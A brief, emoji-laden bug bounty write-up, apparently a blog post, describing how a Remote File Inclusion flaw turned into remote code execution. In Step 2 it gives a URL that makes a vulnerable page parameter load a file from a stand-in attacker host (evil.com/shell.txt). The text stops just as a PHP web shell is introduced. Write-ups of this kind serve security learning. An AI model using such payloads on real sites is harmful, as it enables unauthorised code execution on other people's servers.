💰 How a Simple RFI Turned into a $300 RCE Jackpot — A Hacker’s Wild Ride! 🚀

🔥 Introduction

Imagine sipping on coffee ☕, casually testing a website, when suddenly — 💥 BAM! — you find an RFI vulnerability (Remote File Inclusion). Exciting, right? But what if that tiny spark of curiosity led you down a rabbit hole 🕳️, turning into Remote Code Execution (RCE) and earning you a sweet $300 bug bounty? 🤑 This is the story of how a simple vulnerability turned into an unforgettable hacking adventure! 🎯

🔎 Step 1: The Accidental Discovery

It all started on a lazy afternoon. 🌤️ I was exploring a bug bounty program when I stumbled upon a parameter in a URL:

**https://target.com/index.php?page=about.php**

This looked too good to be true! A page parameter? That screamed potential RFI. So, I did what any hacker would — I tested it! 🕵️‍♂️

🚀 Step 2: Exploiting the RFI

To confirm the vulnerability, I tried including a remote file:

**https://target.com/index.php?page=http://evil.com/shell.txt**

And guess what? The server fetched and executed my remote file! 🎯 That was a huge win! But I wasn’t stopping there. 🛑

☠️ Step 3: From RFI to RCE

Since the server executed my remote file, I crafted a simple PHP web shell 🐚: